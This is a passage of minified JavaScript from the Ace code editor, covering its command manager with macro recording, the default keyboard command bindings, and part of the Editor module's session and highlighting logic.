MultiHashHandler); (function() { oop.implement(this, EventEmitter); this.exec = function(command, editor, args) { if (Array.isArray(command)) { for (var i = command.length; i--; ) { if (this.exec(command[i], editor, args)) return true; } return false; } if (typeof command === "string") command = this.commands[command]; if (!command) return false; if (editor && editor.$readOnly && !command.readOnly) return false; var e = {editor: editor, command: command, args: args}; e.returnValue = this._emit("exec", e); this._signal("afterExec", e); return e.returnValue === false ? false : true; }; this.toggleRecording = function(editor) { if (this.$inReplay) return; editor && editor._emit("changeStatus"); if (this.recording) { this.macro.pop(); this.removeEventListener("exec", this.$addCommandToMacro); if (!this.macro.length) this.macro = this.oldMacro; return this.recording = false; } if (!this.$addCommandToMacro) { this.$addCommandToMacro = function(e) { this.macro.push([e.command, e.args]); }.bind(this); } this.oldMacro = this.macro; this.macro = []; this.on("exec", this.$addCommandToMacro); return this.recording = true; }; this.replay = function(editor) { if (this.$inReplay || !this.macro) return; if (this.recording) return this.toggleRecording(editor); try { this.$inReplay = true; this.macro.forEach(function(x) { if (typeof x == "string") this.exec(x, editor); else this.exec(x[0], editor, x[1]); }, this); } finally { this.$inReplay = false; } }; this.trimMacro = function(m) { return m.map(function(x){ if (typeof x[0] != "string") x[0] = x[0].name; if (!x[1]) x = x[0]; return x; }); }; }).call(CommandManager.prototype); exports.CommandManager = CommandManager; }); ace.define("ace/commands/default_commands",["require","exports","module","ace/lib/lang","ace/config","ace/range"], function(require, exports, module) { "use strict"; var lang = require("../lib/lang"); var config = require("../config"); var Range = require("../range").Range; function bindKey(win, mac) { return {win: win, mac: mac}; } exports.commands = [{ name: "showSettingsMenu", bindKey: bindKey("Ctrl-,", "Command-,"), exec: function(editor) { config.loadModule("ace/ext/settings_menu", function(module) { module.init(editor); editor.showSettingsMenu(); }); }, readOnly: true }, { name: "goToNextError", bindKey: bindKey("Alt-E", "Ctrl-E"), exec: function(editor) { config.loadModule("ace/ext/error_marker", function(module) { module.showErrorMarker(editor, 1); }); }, scrollIntoView: "animate", readOnly: true }, { name: "goToPreviousError", bindKey: bindKey("Alt-Shift-E", "Ctrl-Shift-E"), exec: function(editor) { config.loadModule("ace/ext/error_marker", function(module) { module.showErrorMarker(editor, -1); }); }, scrollIntoView: "animate", readOnly: true }, { name: "selectall", bindKey: bindKey("Ctrl-A", "Command-A"), exec: function(editor) { editor.selectAll(); }, readOnly: true }, { name: "centerselection", bindKey: bindKey(null, "Ctrl-L"), exec: function(editor) { editor.centerSelection(); }, readOnly: true }, { name: "gotoline", bindKey: bindKey("Ctrl-L", "Command-L"), exec: function(editor) { var line = parseInt(prompt("Enter line number:"), 10); if (!isNaN(line)) { editor.gotoLine(line); } }, readOnly: true }, { name: "fold", bindKey: bindKey("Alt-L|Ctrl-F1", "Command-Alt-L|Command-F1"), exec: function(editor) { editor.session.toggleFold(false); }, multiSelectAction: "forEach", scrollIntoView: "center", readOnly: true }, { name: "unfold", bindKey: bindKey("Alt-Shift-L|Ctrl-Shift-F1", "Command-Alt-Shift-L|Command-Shift-F1"), exec: function(editor) { editor.session.toggleFold(true); }, multiSelectAction: "forEach", scrollIntoView: "center", readOnly: true }, { name: "toggleFoldWidget", bindKey: bindKey("F2", "F2"), exec: function(editor) { editor.session.toggleFoldWidget(); }, multiSelectAction: "forEach", scrollIntoView: "center", readOnly: true }, { name: "toggleParentFoldWidget", bindKey: bindKey("Alt-F2", "Alt-F2"), exec: function(editor) { editor.session.toggleFoldWidget(true); }, multiSelectAction: "forEach", scrollIntoView: "center", readOnly: true }, { name: "foldall", bindKey: bindKey(null, "Ctrl-Command-Option-0"), exec: function(editor) { editor.session.foldAll(); }, scrollIntoView: "center", readOnly: true }, { name: "foldOther", bindKey: bindKey("Alt-0", "Command-Option-0"), exec: function(editor) { editor.session.foldAll(); editor.session.unfold(editor.selection.getAllRanges()); }, scrollIntoView: "center", readOnly: true }, { name: "unfoldall", bindKey: bindKey("Alt-Shift-0", "Command-Option-Shift-0"), exec: function(editor) { editor.session.unfold(); }, scrollIntoView: "center", readOnly: true }, { name: "findnext", bindKey: bindKey("Ctrl-K", "Command-G"), exec: function(editor) { editor.findNext(); }, multiSelectAction: "forEach", scrollIntoView: "center", readOnly: true }, { name: "findprevious", bindKey: bindKey("Ctrl-Shift-K", "Command-Shift-G"), exec: function(editor) { editor.findPrevious(); }, multiSelectAction: "forEach", scrollIntoView: "center", readOnly: true }, { name: "selectOrFindNext", bindKey: bindKey("Alt-K", "Ctrl-G"), exec: function(editor) { if (editor.selection.isEmpty()) editor.selection.selectWord(); else editor.findNext(); }, readOnly: true }, { name: "selectOrFindPrevious", bindKey: bindKey("Alt-Shift-K", "Ctrl-Shift-G"), exec: function(editor) { if (editor.selection.isEmpty()) editor.selection.selectWord(); else editor.findPrevious(); }, readOnly: true }, { name: "find", bindKey: bindKey("Ctrl-F", "Command-F"), exec: function(editor) { config.loadModule("ace/ext/searchbox", function(e) {e.Search(editor)}); }, readOnly: true }, { name: "overwrite", bindKey: "Insert", exec: function(editor) { editor.toggleOverwrite(); }, readOnly: true }, { name: "selecttostart", bindKey: bindKey("Ctrl-Shift-Home", "Command-Shift-Up"), exec: function(editor) { editor.getSelection().selectFileStart(); }, multiSelectAction: "forEach", readOnly: true, scrollIntoView: "animate", aceCommandGroup: "fileJump" }, { name: "gotostart", bindKey: bindKey("Ctrl-Home", "Command-Home|Command-Up"), exec: function(editor) { editor.navigateFileStart(); }, multiSelectAction: "forEach", readOnly: true, scrollIntoView: "animate", aceCommandGroup: "fileJump" }, { name: "selectup", bindKey: bindKey("Shift-Up", "Shift-Up"), exec: function(editor) { editor.getSelection().selectUp(); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "golineup", bindKey: bindKey("Up", "Up|Ctrl-P"), exec: function(editor, args) { editor.navigateUp(args.times); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "selecttoend", bindKey: bindKey("Ctrl-Shift-End", "Command-Shift-Down"), exec: function(editor) { editor.getSelection().selectFileEnd(); }, multiSelectAction: "forEach", readOnly: true, scrollIntoView: "animate", aceCommandGroup: "fileJump" }, { name: "gotoend", bindKey: bindKey("Ctrl-End", "Command-End|Command-Down"), exec: function(editor) { editor.navigateFileEnd(); }, multiSelectAction: "forEach", readOnly: true, scrollIntoView: "animate", aceCommandGroup: "fileJump" }, { name: "selectdown", bindKey: bindKey("Shift-Down", "Shift-Down"), exec: function(editor) { editor.getSelection().selectDown(); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "golinedown", bindKey: bindKey("Down", "Down|Ctrl-N"), exec: function(editor, args) { editor.navigateDown(args.times); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "selectwordleft", bindKey: bindKey("Ctrl-Shift-Left", "Option-Shift-Left"), exec: function(editor) { editor.getSelection().selectWordLeft(); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "gotowordleft", bindKey: bindKey("Ctrl-Left", "Option-Left"), exec: function(editor) { editor.navigateWordLeft(); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "selecttolinestart", bindKey: bindKey("Alt-Shift-Left", "Command-Shift-Left"), exec: function(editor) { editor.getSelection().selectLineStart(); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "gotolinestart", bindKey: bindKey("Alt-Left|Home", "Command-Left|Home|Ctrl-A"), exec: function(editor) { editor.navigateLineStart(); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "selectleft", bindKey: bindKey("Shift-Left", "Shift-Left"), exec: function(editor) { editor.getSelection().selectLeft(); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "gotoleft", bindKey: bindKey("Left", "Left|Ctrl-B"), exec: function(editor, args) { editor.navigateLeft(args.times); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "selectwordright", bindKey: bindKey("Ctrl-Shift-Right", "Option-Shift-Right"), exec: function(editor) { editor.getSelection().selectWordRight(); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "gotowordright", bindKey: bindKey("Ctrl-Right", "Option-Right"), exec: function(editor) { editor.navigateWordRight(); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "selecttolineend", bindKey: bindKey("Alt-Shift-Right", "Command-Shift-Right"), exec: function(editor) { editor.getSelection().selectLineEnd(); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "gotolineend", bindKey: bindKey("Alt-Right|End", "Command-Right|End|Ctrl-E"), exec: function(editor) { editor.navigateLineEnd(); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "selectright", bindKey: bindKey("Shift-Right", "Shift-Right"), exec: function(editor) { editor.getSelection().selectRight(); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "gotoright", bindKey: bindKey("Right", "Right|Ctrl-F"), exec: function(editor, args) { editor.navigateRight(args.times); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "selectpagedown", bindKey: "Shift-PageDown", exec: function(editor) { editor.selectPageDown(); }, readOnly: true }, { name: "pagedown", bindKey: bindKey(null, "Option-PageDown"), exec: function(editor) { editor.scrollPageDown(); }, readOnly: true }, { name: "gotopagedown", bindKey: bindKey("PageDown", "PageDown|Ctrl-V"), exec: function(editor) { editor.gotoPageDown(); }, readOnly: true }, { name: "selectpageup", bindKey: "Shift-PageUp", exec: function(editor) { editor.selectPageUp(); }, readOnly: true }, { name: "pageup", bindKey: bindKey(null, "Option-PageUp"), exec: function(editor) { editor.scrollPageUp(); }, readOnly: true }, { name: "gotopageup", bindKey: "PageUp", exec: function(editor) { editor.gotoPageUp(); }, readOnly: true }, { name: "scrollup", bindKey: bindKey("Ctrl-Up", null), exec: function(e) { e.renderer.scrollBy(0, -2 * e.renderer.layerConfig.lineHeight); }, readOnly: true }, { name: "scrolldown", bindKey: bindKey("Ctrl-Down", null), exec: function(e) { e.renderer.scrollBy(0, 2 * e.renderer.layerConfig.lineHeight); }, readOnly: true }, { name: "selectlinestart", bindKey: "Shift-Home", exec: function(editor) { editor.getSelection().selectLineStart(); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "selectlineend", bindKey: "Shift-End", exec: function(editor) { editor.getSelection().selectLineEnd(); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "togglerecording", bindKey: bindKey("Ctrl-Alt-E", "Command-Option-E"), exec: function(editor) { editor.commands.toggleRecording(editor); }, readOnly: true }, { name: "replaymacro", bindKey: bindKey("Ctrl-Shift-E", "Command-Shift-E"), exec: function(editor) { editor.commands.replay(editor); }, readOnly: true }, { name: "jumptomatching", bindKey: bindKey("Ctrl-P", "Ctrl-P"), exec: function(editor) { editor.jumpToMatching(); }, multiSelectAction: "forEach", scrollIntoView: "animate", readOnly: true }, { name: "selecttomatching", bindKey: bindKey("Ctrl-Shift-P", "Ctrl-Shift-P"), exec: function(editor) { editor.jumpToMatching(true); }, multiSelectAction: "forEach", scrollIntoView: "animate", readOnly: true }, { name: "expandToMatching", bindKey: bindKey("Ctrl-Shift-M", "Ctrl-Shift-M"), exec: function(editor) { editor.jumpToMatching(true, true); }, multiSelectAction: "forEach", scrollIntoView: "animate", readOnly: true }, { name: "passKeysToBrowser", bindKey: bindKey(null, null), exec: function() {}, passEvent: true, readOnly: true }, { name: "copy", exec: function(editor) { }, readOnly: true }, { name: "cut", exec: function(editor) { var range = editor.getSelectionRange(); editor._emit("cut", range); if (!editor.selection.isEmpty()) { editor.session.remove(range); editor.clearSelection(); } }, scrollIntoView: "cursor", multiSelectAction: "forEach" }, { name: "paste", exec: function(editor, args) { editor.$handlePaste(args); }, scrollIntoView: "cursor" }, { name: "removeline", bindKey: bindKey("Ctrl-D", "Command-D"), exec: function(editor) { editor.removeLines(); }, scrollIntoView: "cursor", multiSelectAction: "forEachLine" }, { name: "duplicateSelection", bindKey: bindKey("Ctrl-Shift-D", "Command-Shift-D"), exec: function(editor) { editor.duplicateSelection(); }, scrollIntoView: "cursor", multiSelectAction: "forEach" }, { name: "sortlines", bindKey: bindKey("Ctrl-Alt-S", "Command-Alt-S"), exec: function(editor) { editor.sortLines(); }, scrollIntoView: "selection", multiSelectAction: "forEachLine" }, { name: "togglecomment", bindKey: bindKey("Ctrl-/", "Command-/"), exec: function(editor) { editor.toggleCommentLines(); }, multiSelectAction: "forEachLine", scrollIntoView: "selectionPart" }, { name: "toggleBlockComment", bindKey: bindKey("Ctrl-Shift-/", "Command-Shift-/"), exec: function(editor) { editor.toggleBlockComment(); }, multiSelectAction: "forEach", scrollIntoView: "selectionPart" }, { name: "modifyNumberUp", bindKey: bindKey("Ctrl-Shift-Up", "Alt-Shift-Up"), exec: function(editor) { editor.modifyNumber(1); }, scrollIntoView: "cursor", multiSelectAction: "forEach" }, { name: "modifyNumberDown", bindKey: bindKey("Ctrl-Shift-Down", "Alt-Shift-Down"), exec: function(editor) { editor.modifyNumber(-1); }, scrollIntoView: "cursor", multiSelectAction: "forEach" }, { name: "replace", bindKey: bindKey("Ctrl-H", "Command-Option-F"), exec: function(editor) { config.loadModule("ace/ext/searchbox", function(e) {e.Search(editor, true)}); } }, { name: "undo", bindKey: bindKey("Ctrl-Z", "Command-Z"), exec: function(editor) { editor.undo(); } }, { name: "redo", bindKey: bindKey("Ctrl-Shift-Z|Ctrl-Y", "Command-Shift-Z|Command-Y"), exec: function(editor) { editor.redo(); } }, { name: "copylinesup", bindKey: bindKey("Alt-Shift-Up", "Command-Option-Up"), exec: function(editor) { editor.copyLinesUp(); }, scrollIntoView: "cursor" }, { name: "movelinesup", bindKey: bindKey("Alt-Up", "Option-Up"), exec: function(editor) { editor.moveLinesUp(); }, scrollIntoView: "cursor" }, { name: "copylinesdown", bindKey: bindKey("Alt-Shift-Down", "Command-Option-Down"), exec: function(editor) { editor.copyLinesDown(); }, scrollIntoView: "cursor" }, { name: "movelinesdown", bindKey: bindKey("Alt-Down", "Option-Down"), exec: function(editor) { editor.moveLinesDown(); }, scrollIntoView: "cursor" }, { name: "del", bindKey: bindKey("Delete", "Delete|Ctrl-D|Shift-Delete"), exec: function(editor) { editor.remove("right"); }, multiSelectAction: "forEach", scrollIntoView: "cursor" }, { name: "backspace", bindKey: bindKey( "Shift-Backspace|Backspace", "Ctrl-Backspace|Shift-Backspace|Backspace|Ctrl-H" ), exec: function(editor) { editor.remove("left"); }, multiSelectAction: "forEach", scrollIntoView: "cursor" }, { name: "cut_or_delete", bindKey: bindKey("Shift-Delete", null), exec: function(editor) { if (editor.selection.isEmpty()) { editor.remove("left"); } else { return false; } }, multiSelectAction: "forEach", scrollIntoView: "cursor" }, { name: "removetolinestart", bindKey: bindKey("Alt-Backspace", "Command-Backspace"), exec: function(editor) { editor.removeToLineStart(); }, multiSelectAction: "forEach", scrollIntoView: "cursor" }, { name: "removetolineend", bindKey: bindKey("Alt-Delete", "Ctrl-K"), exec: function(editor) { editor.removeToLineEnd(); }, multiSelectAction: "forEach", scrollIntoView: "cursor" }, { name: "removewordleft", bindKey: bindKey("Ctrl-Backspace", "Alt-Backspace|Ctrl-Alt-Backspace"), exec: function(editor) { editor.removeWordLeft(); }, multiSelectAction: "forEach", scrollIntoView: "cursor" }, { name: "removewordright", bindKey: bindKey("Ctrl-Delete", "Alt-Delete"), exec: function(editor) { editor.removeWordRight(); }, multiSelectAction: "forEach", scrollIntoView: "cursor" }, { name: "outdent", bindKey: bindKey("Shift-Tab", "Shift-Tab"), exec: function(editor) { editor.blockOutdent(); }, multiSelectAction: "forEach", scrollIntoView: "selectionPart" }, { name: "indent", bindKey: bindKey("Tab", "Tab"), exec: function(editor) { editor.indent(); }, multiSelectAction: "forEach", scrollIntoView: "selectionPart" }, { name: "blockoutdent", bindKey: bindKey("Ctrl-[", "Ctrl-["), exec: function(editor) { editor.blockOutdent(); }, multiSelectAction: "forEachLine", scrollIntoView: "selectionPart" }, { name: "blockindent", bindKey: bindKey("Ctrl-]", "Ctrl-]"), exec: function(editor) { editor.blockIndent(); }, multiSelectAction: "forEachLine", scrollIntoView: "selectionPart" }, { name: "insertstring", exec: function(editor, str) { editor.insert(str); }, multiSelectAction: "forEach", scrollIntoView: "cursor" }, { name: "inserttext", exec: function(editor, args) { editor.insert(lang.stringRepeat(args.text || "", args.times || 1)); }, multiSelectAction: "forEach", scrollIntoView: "cursor" }, { name: "splitline", bindKey: bindKey(null, "Ctrl-O"), exec: function(editor) { editor.splitLine(); }, multiSelectAction: "forEach", scrollIntoView: "cursor" }, { name: "transposeletters", bindKey: bindKey("Ctrl-T", "Ctrl-T"), exec: function(editor) { editor.transposeLetters(); }, multiSelectAction: function(editor) {editor.transposeSelections(1); }, scrollIntoView: "cursor" }, { name: "touppercase", bindKey: bindKey("Ctrl-U", "Ctrl-U"), exec: function(editor) { editor.toUpperCase(); }, multiSelectAction: "forEach", scrollIntoView: "cursor" }, { name: "tolowercase", bindKey: bindKey("Ctrl-Shift-U", "Ctrl-Shift-U"), exec: function(editor) { editor.toLowerCase(); }, multiSelectAction: "forEach", scrollIntoView: "cursor" }, { name: "expandtoline", bindKey: bindKey("Ctrl-Shift-L", "Command-Shift-L"), exec: function(editor) { var range = editor.selection.getRange(); range.start.column = range.end.column = 0; range.end.row++; editor.selection.setRange(range, false); }, multiSelectAction: "forEach", scrollIntoView: "cursor", readOnly: true }, { name: "joinlines", bindKey: bindKey(null, null), exec: function(editor) { var isBackwards = editor.selection.isBackwards(); var selectionStart = isBackwards ? editor.selection.getSelectionLead() : editor.selection.getSelectionAnchor(); var selectionEnd = isBackwards ? editor.selection.getSelectionAnchor() : editor.selection.getSelectionLead(); var firstLineEndCol = editor.session.doc.getLine(selectionStart.row).length; var selectedText = editor.session.doc.getTextRange(editor.selection.getRange()); var selectedCount = selectedText.replace(/\n\s*/, " ").length; var insertLine = editor.session.doc.getLine(selectionStart.row); for (var i = selectionStart.row + 1; i <= selectionEnd.row + 1; i++) { var curLine = lang.stringTrimLeft(lang.stringTrimRight(editor.session.doc.getLine(i))); if (curLine.length !== 0) { curLine = " " + curLine; } insertLine += curLine; } if (selectionEnd.row + 1 < (editor.session.doc.getLength() - 1)) { insertLine += editor.session.doc.getNewLineCharacter(); } editor.clearSelection(); editor.session.doc.replace(new Range(selectionStart.row, 0, selectionEnd.row + 2, 0), insertLine); if (selectedCount > 0) { editor.selection.moveCursorTo(selectionStart.row, selectionStart.column); editor.selection.selectTo(selectionStart.row, selectionStart.column + selectedCount); } else { firstLineEndCol = editor.session.doc.getLine(selectionStart.row).length > firstLineEndCol ? (firstLineEndCol + 1) : firstLineEndCol; editor.selection.moveCursorTo(selectionStart.row, firstLineEndCol); } }, multiSelectAction: "forEach", readOnly: true }, { name: "invertSelection", bindKey: bindKey(null, null), exec: function(editor) { var endRow = editor.session.doc.getLength() - 1; var endCol = editor.session.doc.getLine(endRow).length; var ranges = editor.selection.rangeList.ranges; var newRanges = []; if (ranges.length < 1) { ranges = [editor.selection.getRange()]; } for (var i = 0; i < ranges.length; i++) { if (i == (ranges.length - 1)) { if (!(ranges[i].end.row === endRow && ranges[i].end.column === endCol)) { newRanges.push(new Range(ranges[i].end.row, ranges[i].end.column, endRow, endCol)); } } if (i === 0) { if (!(ranges[i].start.row === 0 && ranges[i].start.column === 0)) { newRanges.push(new Range(0, 0, ranges[i].start.row, ranges[i].start.column)); } } else { newRanges.push(new Range(ranges[i-1].end.row, ranges[i-1].end.column, ranges[i].start.row, ranges[i].start.column)); } } editor.exitMultiSelectMode(); editor.clearSelection(); for(var i = 0; i < newRanges.length; i++) { editor.selection.addRange(newRanges[i], false); } }, readOnly: true, scrollIntoView: "none" }]; }); ace.define("ace/editor",["require","exports","module","ace/lib/fixoldbrowsers","ace/lib/oop","ace/lib/dom","ace/lib/lang","ace/lib/useragent","ace/keyboard/textinput","ace/mouse/mouse_handler","ace/mouse/fold_handler","ace/keyboard/keybinding","ace/edit_session","ace/search","ace/range","ace/lib/event_emitter","ace/commands/command_manager","ace/commands/default_commands","ace/config","ace/token_iterator"], function(require, exports, module) { "use strict"; require("./lib/fixoldbrowsers"); var oop = require("./lib/oop"); var dom = require("./lib/dom"); var lang = require("./lib/lang"); var useragent = require("./lib/useragent"); var TextInput = require("./keyboard/textinput").TextInput; var MouseHandler = require("./mouse/mouse_handler").MouseHandler; var FoldHandler = require("./mouse/fold_handler").FoldHandler; var KeyBinding = require("./keyboard/keybinding").KeyBinding; var EditSession = require("./edit_session").EditSession; var Search = require("./search").Search; var Range = require("./range").Range; var EventEmitter = require("./lib/event_emitter").EventEmitter; var CommandManager = require("./commands/command_manager").CommandManager; var defaultCommands = require("./commands/default_commands").commands; var config = require("./config"); var TokenIterator = require("./token_iterator").TokenIterator; var Editor = function(renderer, session) { var container = renderer.getContainerElement(); this.container = container; this.renderer = renderer; this.commands = new CommandManager(useragent.isMac ? "mac" : "win", defaultCommands); this.textInput = new TextInput(renderer.getTextAreaContainer(), this); this.renderer.textarea = this.textInput.getElement(); this.keyBinding = new KeyBinding(this); this.$mouseHandler = new MouseHandler(this); new FoldHandler(this); this.$blockScrolling = 0; this.$search = new Search().set({ wrap: true }); this.$historyTracker = this.$historyTracker.bind(this); this.commands.on("exec", this.$historyTracker); this.$initOperationListeners(); this._$emitInputEvent = lang.delayedCall(function() { this._signal("input", {}); if (this.session && this.session.bgTokenizer) this.session.bgTokenizer.scheduleStart(); }.bind(this)); this.on("change", function(_, _self) { _self._$emitInputEvent.schedule(31); }); this.setSession(session || new EditSession("")); config.resetOptions(this); config._signal("editor", this); }; (function(){ oop.implement(this, EventEmitter); this.$initOperationListeners = function() { function last(a) {return a[a.length - 1]} this.selections = []; this.commands.on("exec", this.startOperation.bind(this), true); this.commands.on("afterExec", this.endOperation.bind(this), true); this.$opResetTimer = lang.delayedCall(this.endOperation.bind(this)); this.on("change", function() { this.curOp || this.startOperation(); this.curOp.docChanged = true; }.bind(this), true); this.on("changeSelection", function() { this.curOp || this.startOperation(); this.curOp.selectionChanged = true; }.bind(this), true); }; this.curOp = null; this.prevOp = {}; this.startOperation = function(commadEvent) { if (this.curOp) { if (!commadEvent || this.curOp.command) return; this.prevOp = this.curOp; } if (!commadEvent) { this.previousCommand = null; commadEvent = {}; } this.$opResetTimer.schedule(); this.curOp = { command: commadEvent.command || {}, args: commadEvent.args, scrollTop: this.renderer.scrollTop }; if (this.curOp.command.name && this.curOp.command.scrollIntoView !== undefined) this.$blockScrolling++; }; this.endOperation = function(e) { if (this.curOp) { if (e && e.returnValue === false) return this.curOp = null; this._signal("beforeEndOperation"); var command = this.curOp.command; if (command.name && this.$blockScrolling > 0) this.$blockScrolling--; var scrollIntoView = command && command.scrollIntoView; if (scrollIntoView) { switch (scrollIntoView) { case "center-animate": scrollIntoView = "animate"; case "center": this.renderer.scrollCursorIntoView(null, 0.5); break; case "animate": case "cursor": this.renderer.scrollCursorIntoView(); break; case "selectionPart": var range = this.selection.getRange(); var config = this.renderer.layerConfig; if (range.start.row >= config.lastRow || range.end.row <= config.firstRow) { this.renderer.scrollSelectionIntoView(this.selection.anchor, this.selection.lead); } break; default: break; } if (scrollIntoView == "animate") this.renderer.animateScrolling(this.curOp.scrollTop); } this.prevOp = this.curOp; this.curOp = null; } }; this.$mergeableCommands = ["backspace", "del", "insertstring"]; this.$historyTracker = function(e) { if (!this.$mergeUndoDeltas) return; var prev = this.prevOp; var mergeableCommands = this.$mergeableCommands; var shouldMerge = prev.command && (e.command.name == prev.command.name); if (e.command.name == "insertstring") { var text = e.args; if (this.mergeNextCommand === undefined) this.mergeNextCommand = true; shouldMerge = shouldMerge && this.mergeNextCommand // previous command allows to coalesce with && (!/\s/.test(text) || /\s/.test(prev.args)); // previous insertion was of same type this.mergeNextCommand = true; } else { shouldMerge = shouldMerge && mergeableCommands.indexOf(e.command.name) !== -1; // the command is mergeable } if ( this.$mergeUndoDeltas != "always" && Date.now() - this.sequenceStartTime > 2000 ) { shouldMerge = false; // the sequence is too long } if (shouldMerge) this.session.mergeUndoDeltas = true; else if (mergeableCommands.indexOf(e.command.name) !== -1) this.sequenceStartTime = Date.now(); }; this.setKeyboardHandler = function(keyboardHandler, cb) { if (keyboardHandler && typeof keyboardHandler === "string") { this.$keybindingId = keyboardHandler; var _self = this; config.loadModule(["keybinding", keyboardHandler], function(module) { if (_self.$keybindingId == keyboardHandler) _self.keyBinding.setKeyboardHandler(module && module.handler); cb && cb(); }); } else { this.$keybindingId = null; this.keyBinding.setKeyboardHandler(keyboardHandler); cb && cb(); } }; this.getKeyboardHandler = function() { return this.keyBinding.getKeyboardHandler(); }; this.setSession = function(session) { if (this.session == session) return; if (this.curOp) this.endOperation(); this.curOp = {}; var oldSession = this.session; if (oldSession) { this.session.off("change", this.$onDocumentChange); this.session.off("changeMode", this.$onChangeMode); this.session.off("tokenizerUpdate", this.$onTokenizerUpdate); this.session.off("changeTabSize", this.$onChangeTabSize); this.session.off("changeWrapLimit", this.$onChangeWrapLimit); this.session.off("changeWrapMode", this.$onChangeWrapMode); this.session.off("changeFold", this.$onChangeFold); this.session.off("changeFrontMarker", this.$onChangeFrontMarker); this.session.off("changeBackMarker", this.$onChangeBackMarker); this.session.off("changeBreakpoint", this.$onChangeBreakpoint); this.session.off("changeAnnotation", this.$onChangeAnnotation); this.session.off("changeOverwrite", this.$onCursorChange); this.session.off("changeScrollTop", this.$onScrollTopChange); this.session.off("changeScrollLeft", this.$onScrollLeftChange); var selection = this.session.getSelection(); selection.off("changeCursor", this.$onCursorChange); selection.off("changeSelection", this.$onSelectionChange); } this.session = session; if (session) { this.$onDocumentChange = this.onDocumentChange.bind(this); session.on("change", this.$onDocumentChange); this.renderer.setSession(session); this.$onChangeMode = this.onChangeMode.bind(this); session.on("changeMode", this.$onChangeMode); this.$onTokenizerUpdate = this.onTokenizerUpdate.bind(this); session.on("tokenizerUpdate", this.$onTokenizerUpdate); this.$onChangeTabSize = this.renderer.onChangeTabSize.bind(this.renderer); session.on("changeTabSize", this.$onChangeTabSize); this.$onChangeWrapLimit = this.onChangeWrapLimit.bind(this); session.on("changeWrapLimit", this.$onChangeWrapLimit); this.$onChangeWrapMode = this.onChangeWrapMode.bind(this); session.on("changeWrapMode", this.$onChangeWrapMode); this.$onChangeFold = this.onChangeFold.bind(this); session.on("changeFold", this.$onChangeFold); this.$onChangeFrontMarker = this.onChangeFrontMarker.bind(this); this.session.on("changeFrontMarker", this.$onChangeFrontMarker); this.$onChangeBackMarker = this.onChangeBackMarker.bind(this); this.session.on("changeBackMarker", this.$onChangeBackMarker); this.$onChangeBreakpoint = this.onChangeBreakpoint.bind(this); this.session.on("changeBreakpoint", this.$onChangeBreakpoint); this.$onChangeAnnotation = this.onChangeAnnotation.bind(this); this.session.on("changeAnnotation", this.$onChangeAnnotation); this.$onCursorChange = this.onCursorChange.bind(this); this.session.on("changeOverwrite", this.$onCursorChange); this.$onScrollTopChange = this.onScrollTopChange.bind(this); this.session.on("changeScrollTop", this.$onScrollTopChange); this.$onScrollLeftChange = this.onScrollLeftChange.bind(this); this.session.on("changeScrollLeft", this.$onScrollLeftChange); this.selection = session.getSelection(); this.selection.on("changeCursor", this.$onCursorChange); this.$onSelectionChange = this.onSelectionChange.bind(this); this.selection.on("changeSelection", this.$onSelectionChange); this.onChangeMode(); this.$blockScrolling += 1; this.onCursorChange(); this.$blockScrolling -= 1; this.onScrollTopChange(); this.onScrollLeftChange(); this.onSelectionChange(); this.onChangeFrontMarker(); this.onChangeBackMarker(); this.onChangeBreakpoint(); this.onChangeAnnotation(); this.session.getUseWrapMode() && this.renderer.adjustWrapLimit(); this.renderer.updateFull(); } else { this.selection = null; this.renderer.setSession(session); } this._signal("changeSession", { session: session, oldSession: oldSession }); this.curOp = null; oldSession && oldSession._signal("changeEditor", {oldEditor: this}); session && session._signal("changeEditor", {editor: this}); }; this.getSession = function() { return this.session; }; this.setValue = function(val, cursorPos) { this.session.doc.setValue(val); if (!cursorPos) this.selectAll(); else if (cursorPos == 1) this.navigateFileEnd(); else if (cursorPos == -1) this.navigateFileStart(); return val; }; this.getValue = function() { return this.session.getValue(); }; this.getSelection = function() { return this.selection; }; this.resize = function(force) { this.renderer.onResize(force); }; this.setTheme = function(theme, cb) { this.renderer.setTheme(theme, cb); }; this.getTheme = function() { return this.renderer.getTheme(); }; this.setStyle = function(style) { this.renderer.setStyle(style); }; this.unsetStyle = function(style) { this.renderer.unsetStyle(style); }; this.getFontSize = function () { return this.getOption("fontSize") || dom.computedStyle(this.container, "fontSize"); }; this.setFontSize = function(size) { this.setOption("fontSize", size); }; this.$highlightBrackets = function() { if (this.session.$bracketHighlight) { this.session.removeMarker(this.session.$bracketHighlight); this.session.$bracketHighlight = null; } if (this.$highlightPending) { return; } var self = this; this.$highlightPending = true; setTimeout(function() { self.$highlightPending = false; var session = self.session; if (!session || !session.bgTokenizer) return; var pos = session.findMatchingBracket(self.getCursorPosition()); if (pos) { var range = new Range(pos.row, pos.column, pos.row, pos.column + 1); } else if (session.$mode.getMatching) { var range = session.$mode.getMatching(self.session); } if (range) session.$bracketHighlight = session.addMarker(range, "ace_bracket", "text"); }, 50); }; this.$highlightTags = function() { if (this.$highlightTagPending) return; var self = this; this.$highlightTagPending = true; setTimeout(function() { self.$highlightTagPending = false; var session = self.session; if (!session || !session.bgTokenizer) return; var pos = self.getCursorPosition(); var iterator = new TokenIterator(self.session, pos.row, pos.column); var token = iterator.getCurrentToken(); if (!token || !/\b(?:tag-open|tag-name)/.test(token.type)) { session.removeMarker(session.$tagHighlight); session.$tagHighlight = null; return; } 